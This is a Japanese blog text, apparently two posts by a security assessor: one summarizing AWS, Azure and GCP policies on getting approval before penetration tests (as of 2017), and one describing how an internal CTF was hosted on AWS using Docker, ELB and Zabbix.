1. クラウド事業者側に診断事前に申請が必要な場合がある

脆弱性診断の種類にもよりますが、ブラックボックステストでは疑似的な攻撃を実施して脆弱性の有無を判定するため、不正アクセスとして検知される可能性もあります。 そのためトラブル(※)を避けるためにも脆弱性診断を実施する場合には、「事前申請は必要ない」と明記でもされていない限りは、利用しているクラウドプラットフォーム環境の管理事業者(以下 クラウド事業者)側にちゃんと事前に脆弱性診断を実施して良いか確認をする必要があります。

ちなみに過去私が経験したものですと、事前の申請時には以下のような情報をクラウド事業者側から要求されるケースなどが良くありました。

※トラブルの一例
昔々、とある診断員はシステム担当者の方に、事業者側への事前連絡を再三お願いしていたのですが、何故だか連絡がされないまま診断がスタートしました。その後、診断による通信はめでたく不正アクセスとして検知され、診断途中にアクセス元IPが念願のブラックリスト入りを果たし、全ての通信がブロックされる事案となったそうです。ちなみにその時のブロックを解除してもらう手続きには結構期間が必要とのことであり、長い間診断が中断しましたとさ。めでたしめでたし。

2. 環境によっては脆弱性診断自体を実施できない場合がある

クラウド事業者側のポリシーで、環境などによってはそもそも脆弱性診断の実施を許可していないケースがあります。 私の経験ですと共有ホスティングのような、複数顧客で同じ環境を利用しているようなサービスの場合などでは、利用している他の顧客に影響がでるかもしれないため診断実施の許可をいただけなかったケースなどがありました。 また、後述しますがAWSなどでは、診断を実施可能な環境の条件が明確に指定されています。

上記二つのお作法の内容については、事業者側のポリシーによってマチマチです。 また、ポリシー自体が変更される場合もありますので、脆弱性診断を実施する際には、ご自身の利用しているプラットフォームの事業者にちゃんと確認をした方が良いと考えます。私も脆弱性診断を実施する際には、システム担当者の方に必ず上記のご確認をお願いしています。

有名どころではどうなの?

ここら辺の情報っていちいち確認するのが大変なので、メジャーなものはどこかにまとまっていてほしいなあーって正直結構前から思っていました。 折角の機会なので、脆弱性診断士の目の前に良く診断対象として登場する三大クラウドプラットフォーム(AWSMicrosoft Azure、GCP)の脆弱性診断に関するお作法についてちょっとまとめてみました。 (なお今回記載したものは2017/6/20時点の情報となります。)

AWS(Amazon Web Services)

AWSについては以下のサイトに脆弱性診断に関するポリシーが記載されています。

ペネトレーションテスト(侵入テスト)- AWS セキュリティ|AWS

上記に記載されているようにAWSでは診断事前に専用フォームからの申請が必要です。 具体的な申請の仕方についてはクラスメソッドさんの以下の記事に詳しく記載されています。

2017年版 AWSの侵入テストについて | Developers.IO

また、診断可能な対象については以下のように明確に定義されています。

なお、AWSについては手前味噌となりますが、ここら辺について過去に私がまとめたスライドがありますので宜しければご覧ください。

www.slideshare.net

(2017/10/20 追記)

AWSの侵入テスト申請にアップデートがありましたので、新しくBlogを書いてみました。 宜しければこちらの記事をご参照ください。

AWSの侵入テスト申請フォームが変更された件 - とある診断員の備忘録

Microsoft Azure

Microsoft Azureについては以下のサイトに脆弱性診断に関するポリシーが記載されています。

Microsoft Cloud Unified Penetration Testing Rules of Engagement

以前は診断事前の申請が必要だったのですが、割と最近にポリシー変更があったようです。

MICROSOFT AZURE PENETRATION TESTING NOTIFICATION
As of June 15, 2017, Microsoft no longer requires pre-approval to conduct a penetration test against Azure resources.

と記載があり、現時点では脆弱性診断の申請は不要となったようです。

(2017/10/20 追記) 日本語の記事も公開されていたので、追記しておきます。

Microsoft Azure での侵入テスト (ペネトレーションテスト) について – Microsoft Azure サポート チーム サイト

GCP(Google Cloud Platform)

GCPについては以下の「ペネトレーション テスト」の項目にさらっとですが脆弱性診断に関するポリシーが記載されています。

Security and Compliance on the Google Cloud Platform  |  Google Cloud Platform

Google Cloud Platform のセキュリティを評価するためにペネトレーション テストを行う際に、Google へ連絡する必要はありません。ただし、Google Cloud Platform の利用規定ポリシーと利用規約を遵守し、テストの影響が他のお客様のアプリケーションに及ぶことなく、お客様のプロジェクトに限定されるようにする必要があります。脆弱性を発見した際は、脆弱性報奨金プログラムまでご報告ください。

上記のような記載があるため脆弱性診断の申請は不要です。

まとめ

メジャーなクラウドプラットフォームの脆弱性診断に関するお作法についてまとめてみました。 もし記載した内容などが誤っている場合にはご指摘いただければ幸いです!

(2017/6/30 追記)

この記事をトリガに、VAddyの公式ブログにて、主要クラウド事業者の脆弱性診断に関するポリシーをまとめてくださっています。 本記事内には記載していないクラウド事業者のポリシーについても記載されています。

クラウドサーバに対する脆弱性診断の事前申請について各社に問い合わせてみた結果 - VAddyブログ - 継続的セキュリティテストへの道 -

AWS使って社内CTFやってみたよ

5/22に開催された第五回Security-JAWSにて登壇させていただきました!

Security-JAWS 【第5回】2017年5月22日(月) - Security-JAWS | Doorkeeper

タイトルそのままですが、某社内でAWSを使って社内CTFを開催した際のよもやま話をネタとしてお話しいたしました。 本当は当日投影したスライドとかをそのまま公開したかったのですが、イベント当日の写真とかについてはちょっと諸事情で公開できないので、今回はセッションの中でお話ししたAWSに絡む部分だけをまとめて、私のブログで公開しようかなと思います。

当日のセッションでもお話ししましたが、まずそもそもなんで社内CTFを開催したのかについては、

  • なんか社内でエンジニアの人に楽しんでもらえるようなイベントとかをやってみたかった
  • セキュリティに興味をもってもらうきっかけ作りとかには丁度いいのかなと思った
  • ぶっちゃけちょっと運営側にも興味があった

というようなもので、最初は適当な有志で集まってやってみようかという軽いノリではじめてみた感じです。 社内でやってみたら、思ったよりもウケが良く、数回開催するうちにちょっとづつ規模が大きくなってきて、前回は70人くらいの方に参加していただけるイベントを開催できました。

現在開催しているものは、スタンダードなJeopardy形式のCTFです。 CTFを全くやったことのない方でも参加しやすいように、「CTF for ビギナーズ」のスタイルを極限まで参考にさせていただき、午前中は講義(座学+ハンズオン)、午後からみんなでCTFをやるような一日コースの集合研修という感じで開催しています。現在はそういう感じですが、今後は常設CTFにしたりとか、他競技形式でのイベント開催なども、実現できるかはわかんないですが検討していきたいですね。

で、そんな中今までは、適当な機材をつかったオンプレの競技環境で開催していたのですが、段々規模が大きくなってきてめでたく予算もついたので、競技環境をクラウド化することになり、今回AWSを使って構築してみましたという感じです。という背景で、競技環境を構築する中でハマったことや、こんな感じでやりましたということなどをここで書かせていただきますw

AWSではイベント申請が必要

Security-JAWSのセッションでもお話ししましたが、弊社内CTFの一つの特徴として、競技用のクライント環境を運営側が全部用意しているという点があります。 これはまあ社内イベントならではの悩みなのかなと思うのですが、簡単に言えば社内だと諸事情によって競技用の端末を用意できない方とかもいらっしゃるので、そういう方でも気軽に参加していただくための運営側の配慮って感じですね。ちなみに「いやいや、俺は自前の環境でやりたいし」って方も勿論沢山いらっしゃるので、ご自分で用意できる方については持ち込みPCの利用もOKにしています。

で、まあイベント開催前に運営側で毎回このクライアントPCのキッティングをやっているんですけど、これがまあダルいし、結構大変なんですよね。という中、AWSにはAmazon WorkSpacesというDaaSがあります。

Amazon WorkSpaces (クラウド上の仮想デスクトップサービス) | AWS

これを見て「おお!クライント環境の用意はこれ使えば楽できるんじゃね!」ってそんな風に考えていた時期が俺にもありました。 結論から申しますと、実はその計画はとある理由によってお蔵入りとなってしまいますw

話は変わりますが、皆さんはAWSを使ってこういうイベントを開催する場合には専用の申請が必要だということをご存知でしょうか? 脆弱性診断を実施する際に申請する必要があるペネトレーションテスト申請は結構ご存知だと思うのですが、その解説ページに、「シミュレートされたその他のイベント」という項目の記載があります。

侵入テスト - AWS クラウドセキュリティ | AWS

上記には、どうやらこういったイベントをやるには、開催するイベントの内容などを事前にAWSに申請して許可をとらなければいけないルールがあることが記載されています。 私もAWSを利用して今回こういうイベントをやることになって初めてこのルールを知りました。

ペネトレーションテストの申請をされたことがある方は結構いらっしゃるのかなと思いますが、このセキュリティイベントに関する申請をされた方とかはあんまり多くいらっしゃらないのかなと思いましたので、ご参考までに今回どんな感じでやり取りをしたかについて簡単に書いてみました(まあ、そもそもこういったイベントを開催する人が、そこまで沢山いないだろというツッコミは置いておいてくださいw)。

まずはこんな感じで問い合わせをしてみたのですが…

f:id:tigerszk:20170526132431j:plain

ええー!?マジで!?WorkSpaces使えないの!?いきなり予想してなかった回答ををいただいたので、ちょっとビックリしました…。あとやり取りは英語じゃないとNGなようです。ちなみにAWS側から提出を要求された情報については以下のようなものでした。

原文そのまま 自分の理解
Account number(s): AWSのアカウント情報
Source IP(s) if applicable: イベント時にAWS環境に接続するアクセス元IP情報
Target IP(s) if applicable: イベント時に接続するAWS環境サーバのIP情報
Start Date: イベント開始日
End Date: イベント終了日
Regions involved in Event: イベントに関係するAWSリージョン
EC2 or RDS Instances involved, if applicable: イベントに関係するEC2またはRDSインスタンスの情報
Are you an Amazon Enterprise Customer?: Amazonの企業顧客かどうか
Software Used (if commercial): 使用するソフトウェア(商用の場合)
AWS products/Services to be used): 使用するAWS製品/サービス
Type of Simulated Event in detail: イベント内容の詳細
Dependent on the Simulated Event type, please confirm if target will be aware of the event?: イベント内容に応じて、対象(対象者?)がそのイベントを把握しているか確認してください。(※1)
Whom (email address) should the target party contact to verify this is indeed a Simulated Event?: これが本当にシミュレートされたイベントであるか確認するための連絡先情報
Please provide target domain name, if applicable: 対象ドメイン情報
Will your Event require AWS interaction? If so, please let us know in what capacity and why?: イベントでAWSとのやりとりが必要?もしそうならどんなことかと理由をお知らせください。

※1 こちらについてはイマイチ内容がわからなかったので内容について質問したのですが、特にAWS側からの回答はなく申請の許可がおりました。

ペネトレーションテスト申請と同じくらい結構色々情報を要求される感じでした。また、上記の内容については結構イベントの内容とか環境設計ができてる段階じゃないと、なかなか答えづらいんじゃないかなという印象を持ちました。ちょっとでもこの申請をされる方のご参考になれば幸いです。もしかしたら、イベント内容によっては設問が変わったりするのかもしれないですし、今後新しい設問が追加される可能性もあるので、これと全く同様というわけではない可能性はあります。

この回答に対して「ハイ喜んで~」と返信してしまうとまた地獄のクライアントPCキッティング大作戦が確定してしまうのがちょっと嫌だったのと、もしかしたら先方が何か勘違いしているのかもしれないし、ワンチャンあるかなと思ってちょっと食い下がってみたのですが…

f:id:tigerszk:20170526151332j:plain

f:id:tigerszk:20170526151350j:plain

というわけで、結局今回はWorkSpacesを使うことができませんでしたw 申請自体については、この後、設問に該当する情報を送ったら、次の日にあっさり許可がおりました。 もっと長い時間がかかるものなのかなと思ったのですが、思ったよりも早かったです。

結局どんな環境を構築したの?

上記のような理由により、今回WorkSpacesを使えなかったので、最終的には以下のようなシンプルな構成になっちゃいました。

f:id:tigerszk:20170526161618j:plain

社内イベントだし、そこまで大量アクセスが来ないだろうと想定し、問題サーバだけをELBを利用して冗長構成にした感じですね。今回やってみたかった取り組みの一つだったのですが、サーバで動作する問題については全部dockerを利用して作成しました。切っ掛けは以下の記事だったりします。

#cmdevio2016 (レポート: B-2) Trend Microのセキュリティコンテストの裏舞台でDockerとAnsibleを使った話 | Developers.IO

以前この記事を拝見して、「おー面白そう!自分もちょっとやってみたい!」と思っていたのと、検証目的でちょこちょこ触ってはいたのですが、サービス提供するようなシステムをdockerで構築した経験が無かったので、丁度良い機会だから今回勉強がてらやってみました。 ※ちなみに元記事の発表をされたトレンドマイクロの岩田さんより、今回の発表の後に、ご挨拶いただきめっちゃ嬉しかったです!ありがとうございました。

AWSであれば、ECR(Amazon EC2 Container Registry)を利用することで、速攻でプライベートレジストリ使ってdockerイメージを管理できるので非常に楽ちんです。 今回やってみた感想としては、docker使うとやっぱり本番へのデプロイがすごい楽だなという印象を持ちました。ローカルの開発環境で開発して、イメージが出来上がったらすぐに本番で稼働させられるのは魅力ですね。

今回作成したコンテナのタイプ的には大きく分けて以下の二種類に分かれます。

今回は全部で13個の問題コンテナを作成して、本番環境で動作させました。ちなみにdockerの管理にはECS(Amazon EC2 Container Service)を使ってみたかったのですが、諸事情によりというか単純に検証の時間が足りなくて断念し、本番時はローカル環境で動かしていたdocker-composeを利用して動作するコンテナを管理しました。

監視には折角AWS使っているので、CloudWatchを利用しようかなとも検討したのですが、やっぱり時間が無くて今回は多少慣れていたZabbixを採用しました。 今回はコンテナの監視もしてみようかなと思い、試験的ですが以下のzabbix-docker-monitoringを利用してDockerコンテナの監視もしてみました。

GitHub - monitoringartist/zabbix-docker-monitoring: Docker/Kubernetes/Mesos/Marathon/Chronos/LXC/LXD/Swarm container monitoring - Docker image, Zabbix template and C module

後は、各問題サーバのポート稼働状況やWebサービスについてはステータスコードの状況を監視したりっていう感じですね。競技中はslackにアラート通知を流すようにして、なんか問題があれば、問題があるdockerコンテナをイメージから再作成するような運用にしていました。ちなみに本番時は想定よりも問題サーバは全然安定稼働していて、特に障害対応することもなかったので一安心でした。

今回構築した環境では、時間的にできなかったことや、色々改善点もあるなあと思っているので、今後またちょこちょこいじっていこうかなと思っています。

ぶっちゃけ費用はおいくら?

Security-JAWSでも発表しましたが、AWSの利用料はこのぐらいでした。

f:id:tigerszk:20170526173139j:plain

WorkSpaces以外にも色々と検証したので、ただ開催するだけであればもっと安く上がるんじゃないかなと思います。

まとめ

というわけで、今回私がAWSを利用して社内CTFをやってみた所感をツラツラ書いてみました。もしAWSを使ってなにかこういうイベントをやろうと思っている方の参考に少しでもなれば幸いです。 開催したイベントも参加者の方には楽しんでいただけたみたいなので満足しています。まあただ、自分達でイベント運営やってみた感想としては、環境構築を通じて色々新しいことを勉強できたりするので個人的には非常に楽しかったりするのですが、楽しい以上にやはりそれなりに色々準備が大変だったので、運営側の方々の苦労を身をもって痛感しました。今後参加者としてITイベントに参加する時は、運営の方々にはより一層の敬意を払うべきだなと思った次第ですw